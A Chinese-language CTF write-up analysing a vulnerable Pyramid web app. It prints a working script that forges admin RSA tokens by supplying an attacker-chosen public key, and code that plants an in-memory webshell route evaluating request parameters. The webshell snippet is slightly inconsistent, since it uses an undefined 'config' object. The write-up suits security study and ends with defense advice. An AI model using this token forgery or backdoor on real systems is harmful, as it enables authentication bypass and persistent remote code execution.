Pyramid Web框架安全漏洞分析与利用：RS签名伪造与内存马注入

1. 漏洞背景分析

本文基于强网杯比赛中发现的Pyramid Web框架安全漏洞，主要涉及两个关键安全问题：

1. RS加密签名伪造漏洞
2. Pyramid框架下的内存马注入技术

2. 系统架构与代码分析

2.1 主程序结构

主程序使用Pyramid框架构建，主要路由和视图如下：

from wsgiref.simple_server import make_server
from pyramid.config import Configurator
from pyramid.events import NewResponse
from pyramid.response import Response
import util

users = []
super_user = ["admin"]
default_alg = "RS"

def register_api(request):
    try:
        username = request.params['username']
        if username in super_user:
            return Response("Not Allowed!")
        password = request.params['password']
    except:
        return Response('Please Input username & password', status="500 Internal Server")
    data = {"username": username, "password": password}
    users.append(data)
    token = util.data_encode(data, default_alg)
    return Response("Here is your token: " + token)

def register_front(request):
    return Response(util.read_html('register.html'))

def front_test(request):
    eval()
    return Response(util.read_html('test.html'))

def system_test(request):
    try:
        code = request.params['code']
        token = request.params['token']
        data = util.data_decode(token)
        if data:
            username = data['username']
            print(username)
            if username in super_user:
                print("Welcome super_user!")
            else:
                return Response('Unauthorized', status="401 Unauthorized")
        else:
            return Response('Unauthorized', status="401 Unauthorized")
    except:
        return Response('Please Input code & token')
    print(exec(code))
    return Response("Success!")

if __name__ == '__main__':
    with Configurator() as config:
        config.add_route('register_front', '/')
        config.add_route('register_api', '/api/register')
        config.add_route('system_test', '/api/test')
        config.add_route('front_test', '/test')
        config.add_view(system_test, route_name='system_test')
        config.add_view(front_test, route_name='front_test')
        config.add_view(register_api, route_name='register_api')
        config.add_view(register_front, route_name='register_front')
        app = config.make_wsgi_app()
    server = make_server('0.0.0.0', 6543, app)
    server.serve_forever()

2.2 关键安全函数分析

util.py中的加密签名相关函数：

import base64
import json
import uuid
from Crypto.PublicKey import RSA
from Crypto.Signature import pkcs1_15
from Crypto.Hash import SHA256
import hashlib

secret = str(uuid.uuid4())

def generate_keys():
    key = RSA.generate(2048)
    private_key = key.export_key()
    public_key = key.publickey().export_key()
    return private_key, public_key

def sign_data(private_key, data):
    rsakey = RSA.import_key(private_key)
    data_str = json.dumps(data)
    hash_obj = SHA256.new(data_str.encode('utf-8'))
    signature = pkcs1_15.new(rsakey).sign(hash_obj)
    return signature

def verify_signature(secret, data, signature, alg):
    if alg == 'RS':
        rsakey = RSA.import_key(secret)
        data_str = json.dumps(data)
        hash_obj = SHA256.new(data_str.encode('utf-8'))
        try:
            pkcs1_15.new(rsakey).verify(hash_obj, signature)
            print("Signature is valid. Transmitted data:", data)
            return True
        except (ValueError, TypeError):
            print("Signature is invalid.")
            return False
    elif alg == 'HS':
        hash_object = hashlib.sha256()
        data_bytes = (json.dumps(data) + secret.decode()).encode('utf-8')
        print(data_bytes)
        hash_object.update(data_bytes)
        hex_dig = hash_object.hexdigest()
        if hex_dig == signature.decode():
            return True
        else:
            return False

def data_encode(data, alg):
    if alg not in ['HS', 'RS']:
        raise "Algorithm must be HS or RS!"
    else:
        private_key, public_key = generate_keys()
        if alg == 'RS':
            signature = sign_data(private_key, data)
            data_bytes = json.dumps(data).encode('utf-8')
            encoded_data1 = base64.b64encode(data_bytes)  # data
            encoded_data2 = base64.b64encode(signature)  # signature
            print(encoded_data2)
            encoded_data3 = base64.b64encode(alg.encode('utf-8'))  # alg
            encoded_data4 = base64.b64encode(public_key)  # public_key
            encoded_data = encoded_data1.decode() + '.' + encoded_data2.decode() + '.' + encoded_data3.decode() + '.' + encoded_data4.decode()
            print("The encoded data is: ", encoded_data)
            return encoded_data
        else:
            hash_object = hashlib.sha256()
            data_bytes = (json.dumps(data) + secret).encode('utf-8')
            inputdata = json.dumps(data).encode('utf-8')
            hash_object.update(data_bytes)
            hex_dig = hash_object.hexdigest()
            signature = base64.b64encode(hex_dig.encode('utf-8'))
            encoded_data1 = base64.b64encode(inputdata)  # data
            encoded_data3 = base64.b64encode(alg.encode('utf-8'))  # alg
            encoded_data = encoded_data1.decode() + '.' + signature.decode() + '.' + encoded_data3.decode()
            print("The encoded data is: ", encoded_data)
            return encoded_data

def data_decode(encode_data):
    try:
        all_data = encode_data.split('.')
        sig_bytes = all_data[1].replace(' ', '+').encode('utf-8')
        print(sig_bytes)
        data = base64.b64decode(all_data[0].replace(' ', '+')).decode('utf-8')
        json_data = json.loads(data)
        signature = base64.b64decode(sig_bytes)
        alg = base64.b64decode(all_data[2]).decode('utf-8')
        key = secret
        if len(all_data) == 4:
            key_bytes = all_data[3].replace(' ', '+').encode('utf-8')
            key = base64.b64decode(key_bytes)  # bytes
        # 验证签名
        is_valid = verify_signature(key, json_data, signature, alg)
        if is_valid:
            return json_data
        else:
            return False
    except:
        raise "something error"

def read_html(filname):
    with open('C:\\Users\\86150\\Desktop\\attachment\\src\\static\\' + filname, 'r', encoding='utf-8') as file:
        html_content = file.read()
    return html_content

3. RS签名伪造漏洞分析

3.1 漏洞原理

系统使用RSA算法进行签名验证，但存在以下问题：

1. 密钥生成是随机的：generate_keys()每次调用都会生成新的密钥对
2. 公钥暴露在token中：token的第四个字段是公钥
3. 验证时使用token中的公钥进行验证

3.2 漏洞利用步骤

1. 生成恶意密钥对：使用generate_keys()生成自己的RSA密钥对
2. 构造admin用户数据：创建包含"username": "admin"的JSON数据
3. 使用私钥签名：用生成的私钥对数据进行签名
4. 构造完整token：将数据、签名、算法标识和公钥base64编码后拼接

3.3 漏洞利用代码

import util
import base64
import json
import uuid
from Crypto.PublicKey import RSA
from Crypto.Signature import pkcs1_15
from Crypto.Hash import SHA256
import hashlib

secret = str(uuid.uuid4())

def generate_keys():
    key = RSA.generate(2048)
    private_key = key.export_key()
    public_key = key.publickey().export_key()
    return private_key, public_key

def sign_data(private_key, data):
    rsakey = RSA.import_key(private_key)
    data_str = json.dumps(data)
    hash_obj = SHA256.new(data_str.encode('utf-8'))
    signature = pkcs1_15.new(rsakey).sign(hash_obj)
    return signature

def data_encode(data, alg):
    if alg not in ['HS', 'RS']:
        raise "Algorithm must be HS or RS!"
    else:
        private_key, public_key = generate_keys()
        if alg == 'RS':
            signature = sign_data(private_key, data)
            data_bytes = json.dumps(data).encode('utf-8')
            encoded_data1 = base64.b64encode(data_bytes)  # data
            encoded_data2 = base64.b64encode(signature)  # signature
            encoded_data3 = base64.b64encode(alg.encode('utf-8'))  # alg
            encoded_data4 = base64.b64encode(public_key)  # public_key
            encoded_data = encoded_data1.decode() + '.' + encoded_data2.decode() + '.' + encoded_data3.decode() + '.' + encoded_data4.decode()
            return encoded_data
        else:
            hash_object = hashlib.sha256()
            data_bytes = (json.dumps(data) + secret).encode('utf-8')
            inputdata = json.dumps(data).encode('utf-8')
            hash_object.update(data_bytes)
            hex_dig = hash_object.hexdigest()
            signature = base64.b64encode(hex_dig.encode('utf-8'))
            encoded_data1 = base64.b64encode(inputdata)  # data
            encoded_data3 = base64.b64encode(alg.encode('utf-8'))  # alg
            encoded_data = encoded_data1.decode() + '.' + signature.decode() + '.' + encoded_data3.decode()
            print("The encoded data is: ", encoded_data)
            return encoded_data

pri, pub = generate_keys()
data = {"username": "admin", "password": "password"}
token = data_encode(data, 'RS')
print(token)

4. Pyramid框架内存马注入技术

4.1 技术背景

在获取admin权限后，可以通过/api/test路由执行任意代码。但在不出网、无回显的情况下，需要注入内存马维持访问。

4.2 Pyramid框架路由机制

Pyramid使用Configurator类管理路由和视图：

with Configurator() as config:
    config.add_route('register_front', '/')
    config.add_view(register_front, route_name='register_front')
    app = config.make_wsgi_app()

关键方法：

• add_route(): 添加路由
• add_view(): 添加视图函数
• commit(): 提交配置更改

4.3 获取当前配置对象

通过栈帧回溯获取当前Configurator实例：

def waff():
    def f():
        yield g.gi_frame.f_back
    g = f()
    frame = next(g)
    b = frame.f_back.f_back.f_globals
    print(b)
waff()

4.4 完整内存马注入代码

def waff():
    def f():
        yield g.gi_frame.f_back
    g = f()
    frame = next(g)
    b = frame.f_back.f_back.f_globals
    
    def hello(request):
        code = request.params['code']
        res = eval(code)
        return Response(res)
    
    config.add_route('shellb', '/shellb')
    config.add_view(hello, route_name='shellb')
    config.commit()
waff()

4.5 利用过程

1. 使用伪造的admin token访问/api/test
2. 执行上述代码注入内存马
3. 通过/shellb?code=<恶意代码>执行任意命令

5. 防御建议

5.1 防止RS签名伪造

1. 使用固定密钥对，不要每次生成新密钥
2. 不要将公钥暴露在token中
3. 使用更安全的签名方案如HMAC

5.2 防止内存马注入

1. 严格限制代码执行功能
2. 对动态添加的路由进行权限检查
3. 监控异常路由添加行为

6. 总结

本文详细分析了Pyramid Web框架中的两个安全漏洞：RS签名伪造和内存马注入。通过构造恶意RSA密钥对可以绕过身份验证，而利用Pyramid的路由机制可以在内存中植入后门。这些技术对于Web安全研究和防御具有重要参考价值。